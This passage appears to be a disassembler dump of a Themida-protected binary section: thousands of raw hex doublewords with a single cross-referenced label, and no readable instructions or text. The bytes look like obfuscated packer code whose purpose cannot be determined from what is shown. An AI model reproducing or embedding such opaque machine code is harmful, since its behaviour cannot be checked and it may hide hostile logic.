6AE2F7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0D82BE0C3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0A7C35141h, 210CF12Fh dd 0F8B6042h, 58F08B81h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 57C35646h, 71BE663Ah, 28C0F9Eh, 8B000000h dd 0FD82BF2h, 17088h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0CF9A58A6h, 94F54CECh dd 0CF816630h, 7B9FEFDh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2800C350h dd 0BA99B7B3h, 5015F8D9h, 31B59D01h, 835E0610h, 0F08B00C1h dd 860FD93Bh, 109h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 81C35646h, 3A239568h, 0D3BF547Dh, 6666BC61h dd 0BD8BD98Ch, 61000F5h, 0F04C1F6h, 0AF84h, 0C995FF00h dd 0E806100Dh, 14h, 0FE5BFF01h, 0A8743141h, 9E427F89h dd 0FFAF3E07h, 0F4D25539h, 27D9B523h, 0BE5F0610h, 53A8153Ah dd 0D9BD8B5Bh, 2B06101Fh, 56006AC3h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 343DF944h dd 0F000008h, 5386h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0CEA6C57h, 6BD1DF0h, 89561FC3h dd 101A859Dh, 0B70F5E06h, 6E8F1h, 98C80000h, 0E8199737h dd 0DE89BE66h, 2FE95Fh, 0F530000h, 681h, 0EBDE8100h, 5F11109Fh dd 14E9C08Bh, 90000000h, 0B04BFB90h, 0F67F5D3Bh, 8A7B7F38h dd 24F49CA6h, 29E2348Ch, 101B2DBDh, 8BC38B06h, 0C7F38BD8h dd 10052985h, 0CF17106h, 55006A13h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0DC37D7B6h, 8166C08Bh dd 8132BEEFh, 100055BDh, 7D006h, 12850F00h, 0B000000h dd 10051DBDh, 5585FF06h, 8B061000h, 100FC9BDh, 55B5FF06h dd 0E9061000h, 0Dh, 16EEE0D6h, 0CB0F7570h, 8CB28925h, 0D78166EAh dd 95FFFCADh, 61031C9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 76C35040h, 0E17062ACh, 8BF57C71h, 100C7DBDh dd 0BFF89006h, 64A1F1F3h, 0C8D0Fh, 9D890000h, 6101C25h dd 9659D31h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8D29CCC3h, 6101345h, 14E8h, 82F6B900h dd 25280296h, 69E46D48h, 8893F72Eh, 666597B3h, 7E99Eh dd 2FE80000h, 0C8A27C08h, 0BE9C3h, 1FB0000h, 0BB82CDE3h dd 0B5F692B4h, 0EFBF5F9Eh, 66091F6Fh, 0E8539CBEh, 11h dd 65BDE20Ah, 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 6860F75h dd 29000000h, 1006AD95h, 6A5F06h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8D8906C3h, 6100E49h dd 436DC781h, 6A6A26h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0A26631C3h, 0E846C19Ah, 13h, 0F141BEA0h dd 0C89D328Eh, 33E4FF84h, 161465FDh, 894CDB0Eh, 10052D85h dd 49E95F06h, 0BFFFFFF7h, 27541856h, 8B66C18Bh, 4EBF2h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 2716C351h, 35668A3Bh, 162FF63Ch dd 2BFFB70Fh, 10286DB5h, 0F08B6606h, 13B9858Dh, 6A0610h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0F3AC5C3h, 6084DBC6h, 0BD8B6BBDh, 61009DDh, 0DCEE8166h dd 32BF903Fh, 5068CF28h, 6A90F78Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F0E6C356h dd 6AF357h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 2FC35141h, 3764654Dh, 13836943h, 6A006AA6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 1E13C353h, 603D7150h, 0CAC985FCh, 0AE8h, 26501D00h dd 0ED392774h, 897180FCh, 10231D95h, 9D895E06h, 6100835h dd 0FEA3858Dh, 0B5890613h, 610048Dh, 735BD8Bh, 0C0830610h dd 0BB666005h, 89535678h, 1022658Dh, 89615806h, 10209D95h dd 8B665006h, 240489F2h, 2AF1BD8Bh, 6A0610h, 7DBD8BF9h dd 6A061005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0B8A8BDB7h, 243FAE3h, 310D9D89h dd 95FF0610h, 6101D19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0C3C35545h, 0B5897AEBh, 61016F5h, 10F9BD8Bh dd 9D8D0610h, 613AFD8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 13C35141h, 19830F94h, 0E8000000h, 0Dh dd 7AD3F14Ch, 421FCCE4h, 0A4676AFEh, 61BD8B80h, 5E061021h dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 846DE8C3h, 735A8C82h, 12830Fh, 0DE90000h dd 0EF000000h, 4AB4735Eh, 0E79EA282h, 0E2399209h, 141985FFh dd 89510610h, 100D359Dh, 62E95E06h, 0E8000009h, 0 dd 0ADED815Dh, 6A0613FEh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 3D49C357h, 0C68124C8h dd 982F81Fh, 55BD81h, 7D00610h, 860F0000h, 18Eh, 0B19D8BF5h dd 6A06102Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 52DEC351h, 0F605381h, 88h, 0A1858900h dd 61061021h, 0A4C7815Fh, 8175A406h, 100E3h, 68D0F00h dd 89000000h, 1013F995h, 0FDB0B06h, 0C585h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0D1DDE2EAh, 65A380BEh, 0F08B667Ah, 0FC80BD83h, 0F000613h dd 4C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0D96CBC6Ah, 0D75CD0AAh, 12E8h, 0F4E83100h dd 3B2CDE40h, 31958699h, 3960A060h, 8B9D9480h, 101FB9BDh dd 7FE95E06h, 33000000h, 100C99BDh, 8085C706h, 10613FCh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FDAC351h, 282h, 0FFA8B00h, 688h dd 0D5B58900h, 0E9061018h, 3Ah, 311D9D89h, 85C70610h, 613FC80h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1DC35646h dd 0B58BB9A7h, 6102DF5h, 95DBD8Bh, 9D8D0610h, 6102AB1h dd 6E8h, 3750B400h, 8BC6CDDFh, 1027C9BDh, 23815F06h, 0FFFFFEFFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C3C35545h dd 38351AD7h, 8C662E34h, 3EBF66DBh, 4C3F628h, 6D840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 2A816EC3h, 44C77799h, 0FF6E4185h, 100DC995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 506EEA86h, 168D0Fh, 0E8560000h, 0Eh, 8C9AAFF3h dd 33A7F752h, 0CB338A56h, 5E5FCFD9h, 66240489h, 0E9B644BFh dd 511h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 7BC35646h, 0EFBFB3E5h, 0B0193D43h, 6A70E600h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0CBC3C350h, 5E949h, 0F2FA0000h, 0E4E544A7h, 57006A71h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 3847B9EEh, 7E6914B6h, 0FF18B66h, 6AD8B6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 469CB8C3h dd 6620C96Bh, 2C94D681h, 6BAh, 0B98D2900h, 8B061009h, 51006AC3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 4A488C18h, 7B22B6DEh, 613CBE66h, 6A04E8C1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0DFECC357h, 8EA3D368h, 0FAB9AACh, 0BD8BF3BFh, 6102095h dd 8BE2F766h, 102D85BDh, 6AD82B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0AF37C357h dd 93617F7Eh, 0F50F98Bh, 28Eh, 93F18B00h, 0E97DABEh, 55B5FF0Dh dd 6A061000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0B5BEC350h, 298B3BD6h, 102F399Dh dd 0C995FF06h, 6A061031h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 89EBC351h, 49BD29C8h dd 0B006101Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 308B73C3h, 8D9D09C9h dd 0E606100Fh, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 8D09FF01h, 610157Dh, 6A71E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 2FB436C3h, 9DD99924h, 8947F43Dh, 102161B5h, 61B58B06h dd 3C06100Dh, 0F2830F61h, 89000002h, 100CA98Dh, 0D8B60F06h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A2C35343h dd 3EFBB595h, 8B57533Bh, 100B09BDh, 6BA06h, 0BD890000h dd 6101189h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 5C6220C3h, 1C905B89h, 0C1F78B66h dd 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 596949C3h, 37C14D53h, 0A1FFBF96h, 0F7665EBAh dd 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0C9D8A2ECh, 4F41F427h, 0FE9C87Fh, 0C3000000h dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 0D82BF425h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 49C35747h, 0BC435CFCh dd 6810Fh, 0B58B0000h, 61004DDh, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 62C5CC8Ah dd 23ADFE0Fh, 201DB58Bh, 0D82B0610h, 1C7880Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 49EE3DC3h, 88CFF61Ch, 0EFBE66AFh, 1D8589EEh, 0B906100Bh dd 7, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h dd 3FC35343h, 0B6A91539h, 91B5238Bh, 83061015h, 6A00C1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 181885C3h, 8B1CBE35h, 101391B5h, 0FD93B06h, 13C86h dd 0B8BF6600h, 0D98C6628h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0D7C35141h, 20A487A6h, 0F69365F2h, 0E840FF4h dd 0E9000000h, 9, 5ABC386Dh, 0E80BBA83h, 4C1F65Eh, 0D2840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0BED4F2C3h, 0E819E3ADh, 5, 37CD36B0h, 0F0B70FB2h dd 0C995FF5Fh, 8906100Dh, 100551B5h, 0DE906h, 90060000h dd 0C0AAA951h, 2052B746h, 5BBA2B90h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 35C35141h, 2E3A5ADDh, 0AEE13742h dd 2BFA8B6Eh, 0D1BD8BC3h, 3D061022h, 834h, 4A860Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FE7DB4C3h, 0A1232AF3h, 42E9C0B9h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 4C6CC356h, 1694C375h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 3F4F01C3h, 8BC38B53h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 13990E44h, 81F6A694h, 799E51F6h, 502FBE19h dd 85C77FD6h, 6102801h, 5FCCC991h, 0BD8BC08Bh, 6101301h dd 55BD81h, 7D00610h, 850F0000h, 31h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 31C35141h, 3B613C0Eh, 6F87E77Ch dd 5585FFB6h, 29061000h, 10084DB5h, 55B5FF06h, 6A061000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 8B90C353h, 4CD3E35Fh, 1F22F12h, 10007995h dd 0C995FF06h, 0F061031h, 8Ah, 6A9000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 72AB62C3h dd 0E35EDFh, 0DE9CFh, 0AA160000h, 79FDDF27h, 6A0058DCh dd 8132A989h, 7FB713F7h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 6A341821h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 53B5C351h dd 5CF494A9h, 0AF3B2ADBh, 0DCDE8166h, 0CE8166FBh, 56BFEF93h dd 66195C0Ah, 81B06CBFh, 0BCA4CACFh, 57006A72h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 27687332h dd 0F98BF82Dh, 30B1BE66h, 0DA3E83BEh, 0FEB70F63h, 405BBE66h dd 0DE9h, 1A164800h, 64F9E22Eh, 0BB48B38Bh, 858993BAh dd 61027ADh, 1C2719BFh, 81666070h, 0F2408C3h, 987h, 0C18D8900h dd 6606100Bh, 6061D08Bh, 2785858Bh, 0BD890610h, 61000C5h dd 0F6CDE961h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 4050C7C3h, 7A94679Ah, 0ED95893Fh dd 8906100Bh, 102779B5h, 6AC18B06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1E6BC350h, 4EBh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 3552EAC3h dd 0F606100h, 158Bh, 10E900h, 35AB0000h, 1CD7A5EFh, 0FB7FB844h dd 9A727CB8h, 8D8BC771h, 6100E81h, 56006A61h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 339F5CBh, 0C1F36F2h dd 8DF1B70Fh, 1013B985h, 56B86006h, 0E83B55B7h, 7, 569035E2h dd 66235919h, 59D193BFh, 0DBBF5061h, 896A5BF3h, 6A2404h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 32C35747h dd 0AFF27224h, 6880F03h, 1000000h, 101D31BDh, 6A006A06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0C724C357h, 0EEF1A1ABh, 858DB815h, 6140A35h dd 8E8h, 7E8C6600h, 13C697BEh, 5E50601Bh, 0AE9h, 0C2F39600h dd 46F4B658h, 61C7BC73h, 5C0835Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 94C35141h, 58D89h, 95890610h dd 6100A49h, 7E890h, 28490000h, 0AB2ED5B2h, 13E8DEh, 9C5F0000h dd 7349FF7Fh, 9793F4A9h, 9BBFE945h, 36905507h, 505E5EEDh dd 275017BEh, 6A902Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0E5EC96C3h, 8926BFDEh, 830F883Dh dd 0 dd 0B589006Ah, 61020B9h, 0F08B006Ah, 1D1995FFh, 0F7810610h dd 214202F3h, 0AFD89D8Dh, 0BD8B0613h, 61005FDh, 0D3FF5E50h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CC35040h dd 0CABA60CBh, 467B3BE6h, 0FF5F5288h, 10141985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 9531C34Ah, 6101425h, 7E4E9h db 0 byte_58BEA5 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0054E4E8o dd 815D0000h, 140A3FEDh, 0AE906h, 0CF240000h, 7EA1CE56h dd 70669F79h, 55BD81h, 7D00610h, 860F0000h, 14Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 7AC35343h, 759D8BFCh dd 8B061028h, 1005C5B5h, 0E38106h, 57000001h, 0DE9h, 6D4F9F00h dd 9B9EAED1h, 6DE361D4h, 0B5E181Dh, 94850FDBh, 0E8000000h dd 14h, 0B4D3CB5Dh, 0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h dd 0DC82B4ABh, 11ADB58Bh, 835F0610h, 14082BBDh, 840F0006h dd 0Ch, 20998589h, 8FE90610h, 0FC000000h, 82B85C7h, 10614h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 2ACB0EC3h, 0D015B6CBh, 30AD8589h, 57E90610h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 93ECC352h, 64654D2Fh, 0C7694337h dd 14082B85h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 661B891Ch, 51B1DE81h dd 71B8DE81h, 9D8D1DDAh, 6102875h, 1651B589h, 23810610h dd 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0A4C35242h, 0F3A5FCCh, 689h, 0C5BD0900h, 66061009h dd 830FDB8Ch, 6, 2649F781h, 11E9499Ah, 0F0000000h, 60D167DDh dd 0FA64A200h, 68D6105Eh, 1F5A390h, 0F04C3F6h, 6684h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 191B8763h, 6E2C83F4h, 1C1DB58Bh, 95FF0610h, 6100DC9h dd 21CD9D89h, 81660610h, 909AF8E7h, 9050F18Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 67C35343h, 0B4B564B3h dd 0A5B58BA4h, 0E9061010h, 3E3h, 2EC5B58Bh, 0B00610h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6DC35242h, 14E9h dd 0BC280300h, 0EF6F762Ah, 0A3E041BFh, 7A370505h, 0FCFCE970h dd 6A70E601h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0DB5BC351h, 6BE1EA5Bh, 998D8902h dd 0E8061011h, 11h, 8ECC4560h, 6E4890A7h, 3D968738h, 0FDCBA7FFh dd 19BD290Dh, 5F061021h, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0C3E708C3h, 29515E0Eh dd 1020B9BDh, 0B60F5F06h, 57006AD8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0A9ECDA1Eh dd 16F1BD8Bh, 6BA0610h, 89000000h, 10170D85h, 66C38B06h dd 45FCCE81h, 6604E8C1h, 0EA5CF681h, 6AE2F766h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0A438C350h, 6F49F3B3h, 0F28BC0B8h, 0F681D82Bh, 6957DF6Fh dd 6A935093h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0B6E5C351h, 0FFF98B3Fh, 100055B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 2F35EBC4h, 31C995FFh, 0BD8B0610h, 6101DB1h dd 0BD8B00B0h, 6102EEDh, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 3D263BC3h, 0A4411B4Fh dd 0E856D4EAh, 0Ah, 63D5B97Ch, 76FF8613h, 0BD8B7EEAh, 6101311h dd 0F71E45Fh, 613CF7BFh, 21D830Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 9FBD6CC3h dd 8166045Ah, 0FEB78EFh, 820FD8B6h, 0Ch, 6830Fh, 0B58B0000h dd 61016F1h, 6BAh, 0CF816600h, 0B58B7208h, 6100A01h, 6AC38Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0E85647C3h, 13h, 0F4AB8C49h, 77474EA5h, 0DA5C65B5h dd 2CE64552h, 8B315863h, 100225BDh, 895F5F06h, 101C458Dh dd 4E8C106h, 66FAB70Fh, 8A0FE2F7h, 6, 1671B52Bh, 0D7810610h dd 75556029h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0FE49EC3h, 686h, 0FDB52900h, 5806100Eh dd 5860Fh, 0ECBF0000h, 2B697C78h, 34880FD8h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 9E17C350h, 0F27B4742h, 37036C3Eh, 21B1BD03h dd 7B90610h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 126EC351h, 89C255A9h dd 10284585h, 0C18306h, 111B529h, 0D93B0610h, 0CD860Fh dd 8B520000h, 1011BDB5h, 8C665F06h, 0A1BD8BD9h, 0F6061010h dd 840F04C1h, 8Ah, 33358D89h, 95FF0610h, 6100DC9h, 8E9h dd 0B9FA5100h, 4AE348EBh, 6A5B67h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0F10CA1C3h, 0EB38C293h dd 2A81BD89h, 0C32B0610h, 8F82EF81h, 343D3133h, 0F000008h dd 3586h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 89CAF31Eh, 1012D9B5h, 35E906h, 9D890000h dd 6102AF1h, 0D618531h, 0C08B0610h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 8BC35343h, 82D91466h, 9B58B4Fh dd 8B061012h, 6AD88BC3h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0C1F6C350h, 563C150Ah dd 0C770992Dh, 102AB185h, 73EFB306h, 0B58B5072h, 6102229h dd 6AC08B5Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 43C5C351h, 55684177h, 9D09C03Bh dd 6102229h, 55BD81h, 7D00610h, 850F0000h, 28h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D1C35343h, 1659BD09h dd 85FF0610h, 6100055h, 55B5FFh, 8D290610h, 61020CDh, 31C995FFh dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 2EADCBC3h, 11B52BB3h, 8B061013h, 101561B5h dd 81669006h, 6A99AEF6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0BD8DC355h, 564A3036h dd 0DACDAB13h, 7E9F5h, 0E1980000h, 71A91689h, 666060B4h dd 66D6F2BBh, 0FA606BAh, 8Fh, 0B5316100h, 61007C5h, 1AC58D8Bh dd 0AE90610h, 5A000000h, 0EA0EB722h, 0E913FCA6h, 8589614Dh dd 61012A9h, 15E5BD8Bh, 0B5890610h, 6102F8Dh, 75BD8952h dd 5F06101Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0FFC35545h, 0BD31FD06h, 610084Dh, 9B3BF66h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 61C35646h, 4BB4B241h dd 6A367Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 3FA7F3C3h, 0E84E223Bh, 0Fh, 1244CE63h, 0F1923137h dd 0DEE6C739h, 66CE30FAh, 0F9BD4EBEh, 0FA8B665Fh, 22E9FE8Bh dd 89FFFFF8h, 1001E9BDh, 0EBC18B06h, 4, 8B5E5300h, 0FE9F3h dd 0B47D0000h, 69B703ECh, 0A69D586Fh, 87FEA92Dh dd 0B9858D8Ch, 6A061013h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 7C26C356h, 5C64ACA0h dd 8F0F2Bh, 90000000h, 8E9h, 0F84A6A00h, 64B4F56Ch, 99050A4h dd 101A9D9Dh, 0BF006A06h, 41A71105h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0FE6AAFC3h dd 8CF035C2h, 8174CA20h, 94EA5DEFh, 0BD858927h, 8D061006h dd 1413D885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 24F852h, 0EDBEF746h, 237DBD0Ch, 101D75BDh dd 5C08306h, 8E9h, 64512500h, 0EA3FD063h, 8B66507Dh, 240489F8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 21C35747h dd 0BF9B9739h, 8D95895Dh, 6A06101Fh, 6A006A00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 81DEC353h, 32A18529h, 95FF0610h, 6101D19h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0FDC35040h, 0EE9D5h dd 0C7A10000h, 76FCDB5Eh, 304CD9h, 0DDA731D2h, 0AFD89D8Dh dd 95890613h, 6102F91h, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 84C227C3h, 0ABC5A7A9h dd 6860FAFh, 81000000h, 1F857ACFh, 1985FF27h, 3061014h dd 101281BDh, 5DBD8B06h, 0E9061029h, 798h, 0E8h, 0ED815D00h dd 61413E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0BBC35343h, 5267489Fh, 6448D630h, 0C6BE66E8h, 55BD812Dh dd 0D0061000h, 0F000007h, 14686h, 9D8BF900h, 6100BA5h dd 4D7AEF81h, 0E381271Bh, 100h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0EEC35040h, 0CF11F9A9h, 7187E9FDh dd 0D9BD8B2Ah, 0B061013h, 94850FDBh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0A658C352h, 66FA8B32h, 0BD83F78Bh, 6141222h, 11840F00h dd 0F000000h, 288h, 0E9FB8B00h, 67h, 0A85FBE66h, 122285C7h dd 10614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8B2E32C3h, 950160F3h, 610003Dh dd 1D159589h, 0E9610610h, 27h, 12E9h, 569D8800h, 0D66171CCh dd 66C13A4Fh, 0FDBF7BF2h, 0C7786099h, 14122285h, 6, 44DF8100h dd 8D689EBAh, 100BA59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 831950B6h, 0BD8960C3h dd 6102AF9h, 6E1BD8Bh, 81610610h, 0FFFEFF23h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 29958903h, 6606101Fh, 0B58BDB8Ch, 61030E5h, 0F04C3F6h dd 0A084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0EC218E7Eh, 8B2C20DEh, 102D01B5h dd 0C995FF06h, 6A06100Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 3BB9C352h, 0FB78C1D4h dd 0FCAB0C93h, 2FD1B501h, 0E9900610h, 7, 0B1C8805Dh, 5003276Eh dd 12E890h, 45870000h, 13ADEE19h, 2717EC28h, 0F8B42962h dd 0D3B952A6h, 11E9h, 3F865300h, 0EE9E0B00h, 8A440664h dd 0D017DA9h, 0E95F4D7Eh, 5, 63CAF960h, 32FE91Eh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0D9D2B8C3h, 0F301120h, 888h, 28F0F00h, 60000000h, 24BE6661h dd 6000B0D3h, 2418D31h, 11E90610h, 2E000000h, 0EDFDEB2Ch dd 0E1831778h, 0B5723902h, 0ED54F972h, 8970E661h, 100125B5h dd 8DB58B06h, 0E406100Fh, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 96026C4Fh dd 8925F682h, 102885BDh, 0D8B60F06h, 6BAF9h, 8B520000h dd 